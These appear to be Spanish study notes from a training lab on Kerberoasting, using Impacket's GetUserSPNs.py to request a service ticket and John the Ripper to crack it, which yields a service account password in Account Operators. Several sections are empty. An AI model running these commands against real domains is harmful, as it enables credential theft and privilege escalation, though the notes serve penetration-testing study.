Kerberoasting desde Linux

Escenario
Hasta este punto, hemos enumerado cuentas de usuario y detectado aquellas configuradas con Service Principal Names (SPNs). Los SPNs nos permiten realizar ataques de movimiento lateral y escalada de privilegios en un dominio.


1️⃣ Kerberoasting Overview 🔑

Tip: Kerberoasting se basa en obtener tickets Kerberos (TGS) de cuentas de servicios. Estos tickets están cifrados con el hash NTLM de la cuenta de servicio y pueden ser crackeados offline para revelar la contraseña.

¿Qué es un SPN? 🔍

Analogía:
Imagina un cine VIP:

MSSQLSvc/SQL-SERVER01.miempresa.local:1433

Info: Recuperar un ticket no da acceso directo; necesitas crackearlo offline (p. ej., con Hashcat).
Tip: Las contraseñas de cuentas de servicio suelen ser débiles o reutilizadas, lo que facilita el ataque.


Con un ticket TGS crackeado, es posible:


2️⃣ Posiciones desde las que se puede lanzar el ataque 🚀


3️⃣ Herramientas más comunes 🛠️

Plataforma Herramienta / Método
Linux Impacket GetUserSPNs.py
Windows setspn.exe, PowerShell, Mimikatz
Windows PowerView, Rubeus, scripts PowerShell

Tip: Obtener un ticket TGS no garantiza acceso; el ticket debe ser crackeado offline con Hashcat o John the Ripper.


4️⃣ Kerberoasting desde Linux con GetUserSPNs.py 🐧

Requisitos:


Instalación Impacket

sudo python3 -m pip install .

Tip: Esto instalará todas las herramientas Impacket y las agregará al PATH, permitiendo ejecutarlas desde cualquier directorio.


GetUserSPNs.py -h

Info: Muestra todas las opciones disponibles para listar SPNs, solicitar tickets y guardarlos.


Listar cuentas con SPN

GetUserSPNs.py -dc-ip <IP_DEL_DC> DOMINIO/usuario

Tip: Si alguna cuenta es miembro de Domain Admins, un ticket crackeado puede darte acceso total al dominio.

Ejemplo

/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5  INLANEFREIGHT.LOCAL/sqldev -request

Cogemos el de SAPService

/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5  INLANEFREIGHT.LOCAL/sqldev -request-user SAPService -outputfile Sap

Crackeamos

john --format=krb5tgs Sap --wordlist=/usr/share/wordlists/rockyou.txt
john --show Sap

En este caso es !SapperFi2
Pasted image 20251117204807.png
Para ver em que grupo está

/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5  INLANEFREIGHT.LOCAL/sapservice

Pasted image 20251117204930.png
Esta en Account Operators